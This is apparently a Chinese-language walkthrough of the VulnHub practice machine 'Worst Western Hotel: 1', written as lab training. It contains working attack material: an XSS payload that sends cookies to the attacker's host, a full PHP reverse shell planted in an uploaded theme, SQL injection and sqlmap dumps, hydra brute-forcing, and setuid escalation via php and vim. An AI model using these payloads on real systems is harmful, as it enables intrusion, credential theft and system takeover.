vulnhub靶場之WORST WESTERN HOTEL: 1

2023-02-27 15:01:44

準備:

攻擊機:虛擬機器器kali、本機win10。

靶機:Worst Western Hotel: 1,下載地址:https://download.vulnhub.com/worstwesternhotel/HotelWW.ova,下載後直接vbox開啟即可。

知識點:sql注入、socks5 代理、xss、proxychains、檔案上傳、shell反彈、php提權、vim提權、hydra爆破。

感悟:這個靶場沒有特別難的地方,但是涉及的東西是真的多,這個靶機收穫還是挺大的,雖然花費了不少時間。

一:資訊收集:

1.nmap掃描

使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.31.171,顯示開放了80埠、1080埠,開啟了http服務、socks5服務。

2.web服務

存取web服務時,跳轉到:http://prime.worstwestern.com/網站,因此進行dns解析。win:開啟C:\Windows\System32\drivers\etc\hosts檔案,linux:開啟/etc/hosts檔案,新增192.168.31.171 prime.worstwestern.com。

使用dirsearch進行目錄掃描,命令:dirsearch -u http://192.168.31.171 -e *,發現README.md檔案、config.txt檔案、登入頁面:http://192.168.31.171/adminpanel/等檔案。

在README.md檔案中發現預設密碼: [email protected]/demodemo,在config.txt檔案中發現一組賬戶和密碼:Prime/temppassword和一個網段:192.168.1.0/24,但是告訴我們密碼會定期更改。使用這兩組賬戶進行進行嘗試登入,均登入失敗。因此猜測是socks5服務的賬戶和密碼資訊。

二:socks5

1.hydra爆破

使用hydra對socks5的密碼進行爆破,命令:hydra -l Prime -P /usr/share/wordlists/rockyou.txt socks5://192.168.31.171,成功獲得socks5服務的賬戶和密碼資訊:Prime/tinkerbell1。

2.proxychains設定

在proxychains的組態檔:/etc/proxychains4.conf中開啟 dynamic_chain並新增 socks5 代理。

三:192.168.1.0/24 段

1.proxychains nmap掃描

使用proxychains掃描下之前發現的一個網段,命令:proxychains nmap -sT -Pn -p22,80,443 192.168.1.0/24,發現存活主機:192.168.1.124。

使用nmap對192.168.1.124進行掃描,顯示其開啟了80埠、443埠。

 2.xss獲取cookie

使用proxychains firefox開啟火狐瀏覽器,如果出現如下錯誤,就執行:chown -R root:root /home/kali/.Xauthority。

 

 存取:http://192.168.1.124頁面,返回一個登入頁面。

利用xss漏洞給獲取cookie資訊,payload:username=<script>var x=new Image();x.src="http://192.168.31.64:8000?mycookies="+document['cookie'];document.body.appendChild(x);</script>&password=1,192.168.31.64是kali的地址(開啟了web服務)。

然後修改cookie資訊,再次存取:http://192.168.1.124頁面。可以存取該頁面,但是圖片沒顯示出來。但是在其原始碼資訊中發現特殊資訊: src="4063830e548b8aea3586473c668aac826516be33/loading.gif"。

因此存取下:view-source:http://192.168.1.124/4063830e548b8aea3586473c668aac826516be33/c49675b5b5ef6ac738587d12051b607b13c78c79.jpg(替換上面的src),在其圖片中獲得一組賬戶和密碼資訊:peterg/Birdistheword。

3.上傳反彈檔案

因為nmap掃描時只開啟了80埠和1080埠,因此賬戶密碼資訊只能是80埠的,但是web頁面登入時使用者名稱是郵箱資訊,所以在使用者名稱後新增郵箱進行登入測試,賬戶資訊:[email protected]:Birdistheword。

登入到系統之後找尋下可以進行檔案上傳的地方或存在隱藏的shell檔案,然後發現了Preferences/theme主題可以進行匯入匯出,那我們就可以先匯出主題(使用kali匯出,如果使用win會出錯),然後寫入後門檔案getShell.php在上傳,目錄:/themes/hotel-reservation-theme/。

getShell.php程式碼
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.31.27';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>

將shell指令碼寫入到主題之後,將主題匯入到系統,但是上傳的時候,告訴我們主題已經存在,那我們就需要修改下原來主題的名稱。修改後在匯入就可以成功匯入。

4.獲取shell

成功上傳getShell.php檔案後,使用nc開啟對6688埠的監聽,然後存取:http://prime.worstwestern.com/themes/hotel-reservation-theme/getShell.php,成功獲得shell許可權。

升級下shell:python -c 'import pty;pty.spawn("/bin/bash")';,然後在/home/qloapps目錄下發現Flag1.txt檔案,存取該檔案,成功獲得flag值。

三:192.168.0.0/24 段

1.發現192.168.0.0網段

獲取shell許可權後發現主機ip地址為:192.168.0.100。

那就掃描下192.168.0.0網段,命令:proxychains nmap -sn 192.168.0.0/24,發現主機ip:192.168.0.1。

使用nmap對192.168.0.1進行掃描,顯示其開啟了22埠、80埠、443埠,開啟了ssh服務、http服務、https服務。

使用proxychains firefox(root許可權)命令開啟火狐瀏覽器存取下80埠(同原來的80埠一樣)和443埠。

2.sql注入

在443埠使用萬能密碼(' or 1=1--+)直接就可以登入,但是系統裡沒啥有用的利用資訊,那就使用sqlmap跑一下資料。

直接在登入頁面進行sql注入:proxychains -q sqlmap -u "https://192.168.0.1/index.php" --forms --dbs,需要輸入:email=1&password=2&login=submit,其餘yes即可。

然後通過命令:proxychains -q sqlmap -u "https://192.168.0.1/index.php" --forms -D crm --dump(比較慢)獲取全部資料或通過以下步驟逐步獲取資料。

proxychains -q sqlmap -u "https://192.168.0.1/index.php" --forms -D crm --tables
proxychains -q sqlmap -u "https://192.168.0.1/index.php" --forms -D crm -T user --dump

將賬戶資訊、郵箱資訊整理成賬戶名本然後密碼整理成密碼本,使用hydra進行爆破,命令:proxychains hydra -L uname -P passwd ssh://192.168.0.1,成功獲得賬戶資訊:peterg:TheBirdIsTheWord。

3.獲取shell

使用獲得的賬戶和密碼資訊進行ssh連線,成功獲得shell許可權。然後在/home/peterg目錄下發現Flag2.txt檔案,讀取該檔案成功獲得flag值。

四:提權

檢視下當前賬戶是否存在可以使用的特權命令或檔案:sudo -l,不行。然後查詢下具有特殊許可權的檔案,也不行。

那就直接上傳指令碼吧,命令:wget http://192.168.31.62:8000/LinEnum.sh,然後執行該指令碼(賦予執行許可權)。

查詢下可以利用的提權命令,發現php、vim可以進行提權

1.php提權

檢視php的提權方式,命令:CMD="/bin/sh"       /usr/bin/php7.3 -r "posix_setuid(0); system('$CMD');"。獲得root許可權後在/root目錄下發現Flag3.txt,讀取該檔案成功獲得flag值。

2.vim提權

檢視vim的提權方式,命令:/usr/bin/vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")',執行完之後會彈出新的視窗,獲得root許可權後在/root目錄下發現Flag3.txt,讀取該檔案成功獲得flag值。